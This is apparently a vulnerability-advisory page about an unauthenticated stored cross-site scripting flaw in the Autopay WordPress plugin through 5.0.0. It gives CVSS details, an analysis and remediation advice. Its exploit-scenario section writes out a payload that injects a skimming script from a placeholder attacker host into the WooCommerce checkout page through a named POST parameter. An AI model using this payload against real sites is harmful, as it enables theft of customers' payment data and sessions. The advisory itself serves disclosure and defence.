EUVD-2026-59868
GHSA-5c8g-gwg5-j775
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
AV:N and PR:N confirmed by code: init hook fires on all requests with no auth check; S:C and UI:N reflect stored payload executing persistently in all checkout visitors' browsers without further attacker interaction.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Lifecycle Timeline
2DescriptionCVE.org
The Platnosci Online Blue Media (Autopay) plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.0.0 via the 'bm_woocommerce_css_editor_content' POST parameter. This is due to the Css_Editor::handle_save() method being wired to the WordPress 'init' hook by Settings_Manager::init_once() with no capability check, no nonce verification, and no sanitization on the input - the raw $_POST value is written to the 'woocommerce_bluemedia_settings' option via update_option(), then later echoed directly inside a <style> block on the WooCommerce checkout page by Css_Frontend::print_to_wp_head() with no output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page (the checkout page).
AnalysisAI
Stored XSS in the Autopay (Platnosci Online Blue Media) WordPress plugin through version 5.0.0 permits unauthenticated remote attackers to permanently inject arbitrary JavaScript into the WooCommerce checkout page by sending a single crafted POST request targeting the bm_woocommerce_css_editor_content parameter. The plugin's CSS editor save handler is registered on WordPress's 'init' hook with no capability check, no nonce verification, and no input sanitization, causing raw attacker-controlled content to be persisted in the WordPress options table and rendered unescaped inside a style block on every subsequent checkout page load. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | No special configuration, authentication, or site-specific condition is required for the attacker to store the malicious payload: any unauthenticated HTTP client can POST the bm_woocommerce_css_editor_content parameter to any URL on the WordPress installation, because Css_Editor::handle_save() is bound to the 'init' hook (which fires unconditionally on every request) with neither a WordPress capability check (current_user_can()) nor a nonce verification (check_admin_referer()). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 7.2 base score (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) accurately represents the severity landscape: the attack requires no authentication, no complexity, and no user interaction on the attacker's side, while the Changed scope flag captures the downstream impact on checkout page visitors whose browsers execute the injected payload. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An unauthenticated attacker sends a single HTTP POST request to any page on the target WordPress site with the body parameter bm_woocommerce_css_editor_content set to a payload such as </style><script src='https://attacker.com/skim.js'></script><style>, triggering Css_Editor::handle_save() silently via the 'init' hook and persisting the payload in the WordPress database. From that point forward, every user who visits the WooCommerce checkout page - typically customers actively entering payment card details - receives and executes the attacker's script, enabling real-time session hijacking, form-field interception, or exfiltration of payment credentials to an attacker-controlled endpoint. |
| Remediation | Update the Autopay (Platnosci Online Blue Media) plugin to a version beyond 5.0.0 as the primary remediation step. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, immediately deactivate and remove the Autopay plugin from all production WooCommerce installations; audit the WordPress wp_options table for the bm_woocommerce_css_editor_content parameter for signs of injected malicious code; review access logs for POST requests to the vulnerable parameter; consider taking the checkout page offline if injection is confirmed. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Stored cross-site scripting in the Autopay WordPress plugin before 5.0.1 permits unauthenticated attackers to permanentl
Unauthenticated XSS in the Autopay WordPress plugin (versions ≤ 5.0.0) enables remote attackers to inject and execute ar
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today